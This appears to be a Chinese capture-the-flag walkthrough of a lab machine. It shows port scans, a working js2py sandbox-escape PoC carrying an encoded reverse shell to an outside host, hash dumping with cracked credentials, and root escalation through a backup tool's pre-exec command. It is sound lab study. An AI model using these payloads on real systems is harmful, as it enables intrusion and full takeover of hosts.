信息收集
┌──(root㉿SPX-2017)-[/tmp/test]
└─# nmap --min-rate 10000 -p- 10.129.232.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-02 16:27 CST
Nmap scan report for 10.129.232.59 (10.129.232.59)
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 10.34 seconds
┌──(root㉿SPX-2017)-[/tmp/test]
└─# nmap -sU --top-ports 20 10.129.232.59
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-02 16:27 CST
Nmap scan report for 10.129.232.59 (10.129.232.59)
Host is up (0.12s latency).
PORT STATE SERVICE
53/udp open|filtered domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
123/udp open|filtered ntp
135/udp closed msrpc
137/udp open|filtered netbios-ns
138/udp closed netbios-dgm
139/udp open|filtered netbios-ssn
161/udp open|filtered snmp
162/udp open|filtered snmptrap
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
514/udp open|filtered syslog
520/udp closed route
631/udp open|filtered ipp
1434/udp closed ms-sql-m
1900/udp open|filtered upnp
4500/udp closed nat-t-ike
49152/udp open|filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 2.17 second
开放22 ssh和8000 http,udp留后
┌──(root㉿SPX-2017)-[/tmp/test]
└─# curl http://10.129.232.59:8000/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Welcome to CodePartTwo</title>
<!-- Google Fonts -->
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;700&family=Poppins:wght@400;500;700&display=swap">
<link rel="stylesheet" href="/static/css/styles.css">
</head>
<body>
<!-- Landing Section -->
<div class="landing">
<div class="overlay"></div>
<div class="landing-content">
<h1>Welcome to CodePartTwo</h1>
<p>Empowering developers to create, code, and run their projects with ease.</p>
<p><strong>CodePartTwo is open-source</strong>, built by developers for developers. Join us in shaping the future of collaborative coding.</p>
<br>
<a href="/login" class="cta-button">Login</a>
<a href="/register" class="cta-button">Register</a>
<br><br><a href="/download" class="cta-button">Download App</a>
</div>
</div>
<!-- About Section -->
<section class="about-section">
<div class="container">
<h2>About CodePartTwo</h2>
<p>At CodePartTwo, we provide a platform designed to help developers quickly write, save, and run their JavaScript code. Whether you're working on personal projects or collaborating with a team, CodePartTwo offers the tools you need to bring your ideas to life.</p>
<p>Our mission is to make coding accessible and efficient, giving you the power to focus on what matters most—building great software.</p>
</div>
</section>
<!-- Open-Source Section -->
<section class="open-source-section">
<div class="container">
<h2>Why Open Source?</h2>
<p>We believe in the power of community-driven development. By being open-source, CodePartTwo allows developers worldwide to contribute, learn, and grow together. Explore our repository, submit your ideas, and make a difference!</p>
</div>
</section>
<script src="/static/js/script.js"></script>
</body>
</html>
可以看到有download路由
┌──(root㉿SPX-2017)-[/tmp/test]
└─# curl http://10.129.232.59:8000/download --output source
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 10708 100 10708 0 0 6691 0 0:00:01 0:00:01 --:--:-- 6692
┌──(root㉿SPX-2017)-[/tmp/test]
└─# ls -la
total 20
drwxr-xr-x 2 root root 4096 Dec 2 16:29 .
drwxrwxrwt 16 root root 4096 Dec 2 16:09 ..
-rw-r--r-- 1 root root 10708 Dec 2 16:29 source
┌──(root㉿SPX-2017)-[/tmp/test]
└─# file source
source: Zip archive data, made by v3.0 UNIX, extract using at least v1.0, last modified Sep 01 2025 14:33:34, uncompressed size 0, method=store
┌──(root㉿SPX-2017)-[/tmp/test]
└─# mv source source.zip
┌──(root㉿SPX-2017)-[/tmp/test]
└─# unzip source.zip
源码文件,搜一下发现是js2py沙盒逃逸
CVE-2024-28397
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json
js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3PartTw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password_hash = db.Column(db.String(128), nullable=False)
class CodeSnippet(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
code = db.Column(db.Text, nullable=False)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/dashboard')
def dashboard():
if 'user_id' in session:
user_codes = CodeSnippet.query.filter_by(user_id=session['user_id']).all()
return render_template('dashboard.html', codes=user_codes)
return redirect(url_for('login'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
password_hash = hashlib.md5(password.encode()).hexdigest()
new_user = User(username=username, password_hash=password_hash)
db.session.add(new_user)
db.session.commit()
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
password_hash = hashlib.md5(password.encode()).hexdigest()
user = User.query.filter_by(username=username, password_hash=password_hash).first()
if user:
session['user_id'] = user.id
session['username'] = username;
return redirect(url_for('dashboard'))
return "Invalid credentials"
return render_template('login.html')
@app.route('/logout')
def logout():
session.pop('user_id', None)
return redirect(url_for('index'))
@app.route('/save_code', methods=['POST'])
def save_code():
if 'user_id' in session:
code = request.json.get('code')
new_code = CodeSnippet(user_id=session['user_id'], code=code)
db.session.add(new_code)
db.session.commit()
return jsonify({"message": "Code saved successfully"})
return jsonify({"error": "User not logged in"}), 401
@app.route('/download')
def download():
return send_from_directory(directory='/home/app/app/static/', path='app.zip', as_attachment=True)
@app.route('/delete_code/<int:code_id>', methods=['POST'])
def delete_code(code_id):
if 'user_id' in session:
code = CodeSnippet.query.get(code_id)
if code and code.user_id == session['user_id']:
db.session.delete(code)
db.session.commit()
return jsonify({"message": "Code deleted successfully"})
return jsonify({"error": "Code not found"}), 404
return jsonify({"error": "User not logged in"}), 401
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(host='0.0.0.0', debug=True)
存在register路由以及login路由,还有run_code路由
result = js2py.eval_js(code)接受js代码执行返回结果
注册账号带上cookie可以看到dashboard路由接受js代码并提供执行
┌──(root㉿SPX-2017)-[/tmp/test]
└─# curl -H "Cookie: session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6ImFkbWluIn0.aS6kSQ.F5slrJDAZQuZPzX2seuGo10G72c" http://10.129.232.59:8000/dashboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CodePartTwo Dashboard</title>
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;700&family=Poppins:wght@400;500;700&display=swap">
<link rel="stylesheet" href="/static/css/styles.css">
</head>
<body>
<div class="container">
<!-- Header -->
<header class="header">
<h1>Dashboard</h1>
<p>Create, save, run, and manage your JavaScript code with CodePartTwo.</p><br>
<a href="/logout" class="cta-button">Logout</a>
</header>
<!-- Code Editor Section -->
<section class="editor-section">
<h2>Code Editor</h2>
<div class="editor-container">
<textarea id="codeEditor" placeholder="var x = 16; x;"></textarea>
</div>
<div class="button-group">
<button id="saveButton" class="primary-btn">Save Code</button>
<button id="runButton" class="secondary-btn">Run Code</button>
</div>
</section>
<!-- Output Section -->
<section class="output-section">
<h2>Output</h2>
<div id="outputContainer" class="output-box"></div>
</section>
<!-- Saved Codes Section -->
<section class="saved-codes-section">
<h2>Saved Codes</h2>
<ul id="codeList" class="code-list">
</ul>
</section>
</div>
<script src="/static/js/script.js"></script>
</body>
</html>
POC
let cmd = "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMS8yMzMyIDA+JjEK | base64 -d | bash"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for (let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if (item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
// run the command and force UTF-8 string output
let proc = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true)
let out = proc.communicate()[0].decode("utf-8")
// return a plain string (JSON-safe)
"" + out
执行即可接到反弹shell
提权
marco
app@codeparttwo:~/app/instance$ pwd
pwd
/home/app/app/instance
app@codeparttwo:~/app/instance$ file users.db
file users.db
users.db: SQLite 3.x database, last written using SQLite version 3031001
app@codeparttwo:~/app/instance$ sqlite3 users.db
sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
code_snippet user
sqlite> select * from user;
select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|admin|21232f297a57a5a743894a0e4a801fc3
sqlite>
可以找到hash值,解密得到凭据marco:sweetangelbabylove
root
marco用户可以无密码root执行npbackup-cli
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
帮助可以看到能够指定config文件,指定-b参数运行back,-f强制执行
-c CONFIG_FILE, --config-file CONFIG_FILE
Path to alternative configuration file (defaults to current dir/npbackup.conf)
-b, --backup Run a backup
-f, --force Force running a backup regardless of existing backups age
家目录下可以发现conf文件,基于内容做修改
marco@codeparttwo:~$ cat npbackup.conf
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /home/app/app/
source_type: folder_list
exclude_files_larger_than: 0.0
repo_opts:
repo_password:
__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
retention_policy: {}
prune_max_unused: 0
prometheus: {}
env: {}
is_protected: false
groups:
default_group:
backup_opts:
paths: []
source_type:
stdin_from_command:
stdin_filename:
tags: []
compression: auto
use_fs_snapshot: true
ignore_cloud_files: true
one_file_system: false
priority: low
exclude_caches: true
excludes_case_ignore: false
exclude_files:
- excludes/generic_excluded_extensions
- excludes/generic_excludes
- excludes/windows_excludes
- excludes/linux_excludes
exclude_patterns: []
exclude_files_larger_than:
additional_parameters:
additional_backup_only_parameters:
minimum_backup_size_error: 10 MiB
pre_exec_commands: []
pre_exec_per_command_timeout: 3600
pre_exec_failure_is_fatal: false
post_exec_commands: []
post_exec_per_command_timeout: 3600
post_exec_failure_is_fatal: false
post_exec_execute_even_on_backup_error: true
post_backup_housekeeping_percent_chance: 0
post_backup_housekeeping_interval: 0
repo_opts:
repo_password:
repo_password_command:
minimum_backup_age: 1440
upload_speed: 800 Mib
download_speed: 0 Mib
backend_connections: 0
retention_policy:
last: 3
hourly: 72
daily: 30
weekly: 4
monthly: 12
yearly: 3
tags: []
keep_within: true
group_by_host: true
group_by_tags: true
group_by_paths: false
ntp_server:
prune_max_unused: 0 B
prune_max_repack_size:
prometheus:
backup_job: ${MACHINE_ID}
group: ${MACHINE_GROUP}
env:
env_variables: {}
encrypted_env_variables: {}
is_protected: false
identity:
machine_id: ${HOSTNAME}__blw0
machine_group:
global_prometheus:
metrics: false
instance: ${MACHINE_ID}
destination:
http_username:
http_password:
additional_labels: {}
no_cert_verify: false
global_options:
auto_upgrade: false
auto_upgrade_percent_chance: 5
auto_upgrade_interval: 15
auto_upgrade_server_url:
auto_upgrade_server_username:
auto_upgrade_server_password:
auto_upgrade_host_identity: ${MACHINE_ID}
auto_upgrade_group: ${MACHINE_GROUP}
重点关注pre_exec_commands: []等执行外部命令的参数,修改为
pre_exec_commands: [cp /bin/bash /tmp/rootbash;chmod +s /tmp/rootbash]
加上强制执行,避免备份时间间隔短取消执行
marco@codeparttwo:~$ vim /tmp/npbackup.conf
marco@codeparttwo:~$ cd /tmp/
marco@codeparttwo:/tmp$ sudo npbackup-cli -b -c npbackup.conf --force
2025-12-02 08:46:40,177 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-12-02 08:46:40,199 :: INFO :: Loaded config 058A6D05 in /tmp/npbackup.conf
2025-12-02 08:46:40,208 :: INFO :: Running backup of ['/home/app/app/'] to repo default
2025-12-02 08:46:40,270 :: INFO :: Pre-execution of command cp /bin/bash /tmp/rootbash;chmod +s /tmp/rootbash succeeded with:
None
2025-12-02 08:46:41,719 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2025-12-02 08:46:41,720 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
2025-12-02 08:46:41,720 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2025-12-02 08:46:41,720 :: ERROR :: Exclude file 'excludes/generic_excludes' not found
2025-12-02 08:46:41,721 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2025-12-02 08:46:41,721 :: ERROR :: Exclude file 'excludes/windows_excludes' not found
2025-12-02 08:46:41,721 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2025-12-02 08:46:41,721 :: ERROR :: Exclude file 'excludes/linux_excludes' not found
2025-12-02 08:46:41,722 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
no parent snapshot found, will read all files
Files: 12 new, 0 changed, 0 unmodified
Dirs: 9 new, 0 changed, 0 unmodified
Added to the repository: 50.053 KiB (20.069 KiB stored)
processed 12 files, 48.965 KiB in 0:00
snapshot e4c0088e saved
2025-12-02 08:46:42,889 :: INFO :: Backend finished with success
2025-12-02 08:46:42,892 :: INFO :: Processed 49.0 KiB of data
2025-12-02 08:46:42,892 :: ERROR :: Backup is smaller than configured minmium backup size
2025-12-02 08:46:42,892 :: ERROR :: Operation finished with failure
2025-12-02 08:46:42,893 :: INFO :: Runner took 2.685816 seconds for backup
2025-12-02 08:46:42,894 :: INFO :: Operation finished
2025-12-02 08:46:42,903 :: INFO :: ExecTime = 0:00:02.728008, finished, state is: errors.
marco@codeparttwo:/tmp$ ./rootbash -p
rootbash-5.0# id
uid=1000(marco) gid=1000(marco) euid=0(root) egid=0(root) groups=0(root),1000(marco),1003(backups)